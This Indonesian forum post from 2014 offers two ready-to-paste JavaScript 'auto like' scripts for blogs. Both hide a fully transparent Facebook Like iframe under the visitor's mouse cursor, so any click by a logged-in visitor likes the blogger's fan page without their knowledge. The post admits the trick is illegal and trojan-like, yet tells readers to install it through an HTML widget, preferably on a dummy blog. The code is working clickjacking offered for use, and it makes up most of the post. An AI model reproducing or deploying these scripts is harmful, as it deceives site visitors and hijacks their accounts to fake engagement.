Perlu anda tahu Script Auto Like Facebook Fanspage adalah sebuah script untuk mendapatkan like dari para pengunjung blog secara paksa.Jika pengunjung mengklik link apapun di blog agan maka secara otomatis dia telah Like fanspage agan tanpa mereka sadari (dalam keadaan login facebook). Script bekerja dengan cara membuat tombol like/suka menjadi transparan atau tidak terlihat mengikuti cursor mouse kemanapun cursor tersebut bergerak. Jadi ketika pengunjung mengklik salah satu link atau apa saja di dalam blog, maka tanpa mereka sadari mereka telah mengklik tombol like/suka tersebut.
Sebenarnya ini cara "ILEGAL & terduga TROJAN" dan membuat pengunjung tidak nyaman, jadi pikirkan baik baik jika ingin memasangnya. Saran ane jika Ingin memasangnya, agan pasanglah di blog dummy agan, bukan di blog utama. Untuk menghindari hal hal yang mungkin merugikan blog utama agan.
Baiklah untuk cara pemasangannya tinggal pastekan kodenya pada widget html.
langsung saja dicoba
Script pertama
- Code:
<script>
var fan_page_url = 'http://www.facebook.com/USERNAME';
var opacity = 0.0;
var time = 20000;
if((document.getElementById) && window.addEventListener || window.attachEvent){
(function(){
var hairCol = "#ff0000";
var d = document;
var my = -10;
var mx = -10;
var r;
var vert = "";
var idx = document.getElementsByTagName('div').length;
var thehairs = "<iframe id='theiframe' scrolling='no' frameBorder='0' allowTransparency='true' src='http://www.facebook.com/widgets/like.php?href=" + encodeURIComponent(fan_page_url) + "&layout=standard&show_faces=true&width=53&action=like&colorscheme=light&height=80' style='position:absolute;width:53px;height:23px;overflow:hidden;border:0;opacity:" + opacity +";filter:alpha(opacity=" + opacity * 100+ ");'></iframe>";
document.write(thehairs);
var like = document.getElementById("theiframe");
document.getElementsByTagName('body')[0].appendChild(like);
var pix = "px";
var domWw = (typeof window.innerWidth == "number");
var domSy = (typeof window.pageYOffset == "number");
if (domWw)
r = window;
else{
if (d.documentElement && typeof d.documentElement.clientWidth == "number" && d.documentElement.clientWidth != 0)
r = d.documentElement;
else{
if (d.body && typeof d.body.clientWidth == "number")
r = d.body;
}
}
if(time != 0){
setTimeout(function(){
document.getElementsByTagName('body')[0].removeChild(like);
if (window.addEventListener){
document.removeEventListener("mousemove",mouse,false);
}
else if (window.attachEvent){
document.detachEvent("onmousemove",mouse);
}
}, time);
}
function scrl(yx){
var y,x;
if (domSy){
y = r.pageYOffset;
x = r.pageXOffset;
}
else{
y = r.scrollTop;
x = r.scrollLeft;
}
return (yx == 0) ? y:x;
}
function mouse(e){
var msy = (domSy)?window.pageYOffset:0;
if (!e)
e = window.event;
if (typeof e.pageY == 'number'){
my = e.pageY - 5 - msy;
mx = e.pageX - 4;
}
else{
my = e.clientY - 6 - msy;
mx = e.clientX - 6;
}
vert.top = my + scrl(0) + pix;
vert.left = mx + pix;
}
function ani(){
vert.top = my + scrl(0) + pix;
setTimeout(ani, 300);
}
function init(){
vert = document.getElementById("theiframe").style;
ani();
}
if (window.addEventListener){
window.addEventListener("load",init,false);
document.addEventListener("mousemove",mouse,false);
}
else if (window.attachEvent){
window.attachEvent("onload",init);
document.attachEvent("onmousemove",mouse);
}
})();
}//End.
</script>
Script yang kedua
- Code:
<script type="text/javascript">
(function(){
var Xcord = 0,
Ycord = 0,
IE = document.all ? true : false;
if (!IE) document.captureEvents(Event.MOUSEMOVE);
var lbox = document.createElement('iframe');
lbox.src = 'http://www.facebook.com/plugins/like.php?href=' + encodeURIComponent(/*document.location.href*/ 'http://www.facebook.com/USERNAME') + '&layout=standard&show_faces=true&width=53&action=lbox&colorscheme=light&height=80';
lbox.scrolling = 'no';
lbox.frameBorder = 0;
lbox.allowTransparency = 'true';
lbox.style.border = 0;
lbox.style.overflow = 'hidden';
lbox.style.cursor = 'pointer';
lbox.style.width = '53px';
lbox.style.height = '23px';
lbox.style.position = 'absolute';
lbox.style.opacity = 0;
document.getElementsByTagName('body')[0].appendChild(lbox);
window.addEventListener('mousemove', mouseMove, false);
setTimeout(function(){
document.getElementsByTagName('body')[0].removeChild(lbox);
window.removeEventListener('mousemove', mouseMove, false);
}, 15000);
function mouseMove(e) {
if (IE) {
Xcord = event.clientX + document.body.scrollLeft;
Ycord = event.clientY + document.body.scrollTop;
} else {
Xcord = e.pageX;
Ycord = e.pageY;
}
if (Xcord < 0) Xcord = 0;
if (Ycord < 0) Ycord = 0;
lbox.style.top = (Ycord - 8) + 'px';
lbox.style.left = (Xcord - 25) + 'px';
return true
}
})();
</script>
Selamat mencoba
Last edited by Eca|ErcHimA| on 5th May 2014, 10:11 pm; edited 1 time in total